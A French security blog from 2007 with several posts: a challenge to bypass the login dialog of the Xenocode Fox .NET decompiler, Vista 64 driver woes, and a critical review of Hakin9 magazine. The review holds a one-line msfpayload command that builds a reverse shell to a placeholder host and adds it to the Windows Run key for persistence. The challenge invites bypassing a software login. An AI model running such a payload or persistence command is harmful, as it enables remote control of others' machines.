Challenge Securitech 2007 :)

WinDbg est un outil exécrable.

J'étaye cette affirmation par un extrait du blog Microsoft consacré au langage de script WinDbg :
"- I also prefer not to explain the source code details for security reasons. "

Ce qui signifie en français :
"Le langage de script est tellement illisible que si je ne vous explique pas ce que je cherche à faire, vous ne pouvez pas comprendre par vous même."

La situation va peut-être s'améliorer grâce à ce projet : PyDbgExt, qui est pour le moment en version "Beta". On attend également la version Ruby, probablement réalisée par un labo d'Issy-Les-Moulineaux :)

Mais après le débogage noyau sous Vista, il existe un autre domaine dans lequel WinDbg est incontournable : le débogage ".NET", auquel j'ai l'occasion de m'intéresser actuellement.

Pour donner un exemple, voici le challenge que je vous propose (d'où le titre de ce billet :).

J'ai téléchargé le décompilateur .NET (gratuit) "Fox Community Edition" de la société Xenocode. Il ne demande qu'un login/mot de passe pour se lancer. Mais le site d'enregistrement est tellement contrôlé, que même avec des informations valides, il refuse de me créer un compte !

Le challenge consiste donc à contourner la boite de dialogue initiale, de la manière la plus rapide et la plus élégante possible.



Quelques précisions sur le fonctionnement de l'obfuscateur Xenocode (utilisé ici) :

• Le bytecode .NET est obfusqué.
• Il n'y a qu'un seul fichier exécutable, qui contient les librairies du .NET Framework (il n'est donc pas nécessaire d'installer le .NET Framework sur la cible d'exécution).
  
• Ces librairies sont chargées dynamiquement en mémoire, selon une technique proche de celle du Meterpreter.
• Le bytecode est compilé just-in-time en assembleur x86.
  

Bonne chance ! Je publierai ma solution le week-end prochain.

Petite précision : contrairement au vrai Challenge Securitech, il n'y a rien à gagner :)

L'ultime frontière

Pour commencer, posons les 3 lemmes suivants.

1. De mon expérience, la plupart des drivers Windows dysfonctionnent sur les CPU hyper-threadés / multi-coeurs (visiblement le diner des philosophes, ça ne parle pas à beaucoup de monde).
2. Il est difficile de trouver des drivers compatibles Vista. Vraiment compatibles, je veux dire, pas juste "qui s'installent".
   
3. Il est quasiment impossible de trouver des drivers pour Vista 64 bits. Outre le fait qu'il s'agit d'un marché de niche, ces drivers doivent nécessairement être signés par le WHQL, et Microsoft ne voit pas d'un très bon oeil les drivers trop "génériques". Autant pour NVidia et ses drivers unifiés ...
   

On en déduit alors qu'il est illusoire de chercher des drivers Vista 64 stables sur une architecture bi-pro.

Et celà se confirme expérimentalement sur mon bi-Opteron ...

Précisons que mes deux machines de test sont un AMD64 3000+ et une station de travail HP bi-Opteron. Dans les deux cas, hasard ou coïncidence, je me retrouve avec un chipset NVidia (NForce 3 dans le premier cas, NForce Pro dans le deuxième).

La situation est la suivante (approximativement, je vous épargne les détails scabreux) :

• Le chipset NForce 3 n'est pas supporté sous Vista 64 et ne le sera probablement jamais.
• Le chipset NForce Pro est supposé l'être. Du moins des drivers sont téléchargeables. J'y ai donc cru ...
  

Après 2 jours de tests acharnés, la situation est la suivante :

• Le panneau de contrôle NVidia plante. C'est un bogue que j'ai déjà rencontré ailleurs sur des CPU hyper-threadés.
• Les drivers 32 et 64 bits sont installés simultanément. Ce qui provoque un BSoD au redémarrage, il faut alors aller supprimer "à la main" dans "c:\windows\system32\drivers" les fichiers "nv*.sys" et conserver uniquement les fichiers "nv*64.sys".
• Une fois les drivers installés, les utilitaires (ex. RaidTool) ne se lancent pas.
  

En clair ... c'est totalement inutilisable. Si on compte sur les drivers préinstallés avec Windows, la situation est la suivante :

• Le RAID hardware ne fonctionne pas.
• La carte réseau ne dépasse par les 100 Mb/s (au lieu de l'Ethernet Gigabit annoncé).

Au point où j'en suis, il me reste à considérer 2 solutions :

• Désassembler les drivers 32 bits, remplacer tous les registres 32 bits (EAX, EBX, ...) par leur équivalent 64 bits (RAX, RBX, ...), et recompiler. Ca peut marcher, non ?
  
• Ecrire un wrapper pour faire fonctionner les drivers Linux sous Windows.

Si quelqu'un a une meilleure idée ...

[EDIT 29 juin 2007] Il semblerait que Réseaux&Télécoms soit du même avis ... Je cite :

Si nous étions véritablement méchants et de mauvaise foi -mais pourquoi serions nous méchants- l'on devrait également ajouter aux statistiques les quelques centaines de "pseudo drivers 64 bits Vista" qui transforment le noyau en un mélange instable fortement explosif (à tout hasard, les pilotes WHQL des webcams Microsoft) et additionner également les nervousses breakdones des usagers face aux incessantes alarmes d'un UAC plus bavard qu'ergonomique.
[...]
Avec le temps, un sérieux nettoyage des pilotes et des programmes 64 bits, Vista sera peut-être un jour l'un des systèmes les plus stables de son temps. Mais ce ne sera là que le fruit d'un travail de fond, et non d'une propagande autiste se contentant de d'écrire l'histoire au jour le jour, à grand renfort de métriques ponctuelles et limitées.

Je me révèle ...

Le Groupe Utilisateur de Windows Vista (GUWIV) organise jusqu'au 30 juin un grand concours intitulé "Révèle-toi".

L'objectif est de (je cite) "mettre en avant les usages de Windows Vista avec divers logiciels et périphériques".

Il y a de nombreux lots à gagner (licence Vista, Nabaztag, lance-missile USB, etc.).

Je ne sais pas si j'ai des chances de gagner, mais voici ma contribution :)

Je suis désolé d'insister, mais ...

... je viens de me forcer à lire Hakin9 5/2007, et ça n'est vraiment pas bon.

Article de couverture : "buffer overflow sous Windows XP SP2". Alléchant n'est-ce pas ?

En pratique, il s'agit d'un tutoriel "de base" sur le buffer overflow. L'auteur compile tous ses programmes de test sans "/GS". Les shellcodes exécutés ne sont pas compatibles avec DEP. Du coup on a quand même du mal à voir le lien avec Windows XP SP2 ...

Je passe sur la pleine page consacrée au résultat de la commande "print Pex::Text::PatternCreate(5000)". Plutôt que de copier/coller ce résultat dans un programme en Python pour ouvrir une socket, il aurait peut-être été plus astucieux d'ouvrir la socket directement en PERL dans la suite du programme initial ?

Intersticiel : publicité pour Ashampoo AntiSpyware. Je cite : "[...] protects you against the entire spectrum of new malware threats [...] including hijackers, dialers, spyware, worms, adware, trojans, key loggers and even the treacherous new rootkits". Pour $30 !

Troisième article : "Introduction à la sécurité sous Oracle". Traduit du tchèque. Tout est dit.

Mais quand même, j'ai du mal à voir ce que vient faire la restriction des baux DHCP à une liste d'adresses MAC connues. Vos serveurs Oracle sont en DHCP, vous ?

Quatrième article : "Développement d'un espiogiciel d'évaluation". Pour résumer :

./msfpayload win32_reverse EXITFUNC=process LHOST=1.2.3.4 LPORT=12345 X > malware.exe && REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MonMien /t REG_SZ /d malware.exe

Sauf que l'auteur a tenu à tout réimplémenter, en enrobant d'une étude sociologique sur la communication moderne.


Bref, j'arrête là, mais du coup on se demande pourquoi les articles mettent plusieurs mois à être publiés. Ca n'est certainement pas le fait du processus de relecture, ou alors il est sérieusement à revoir lui-même !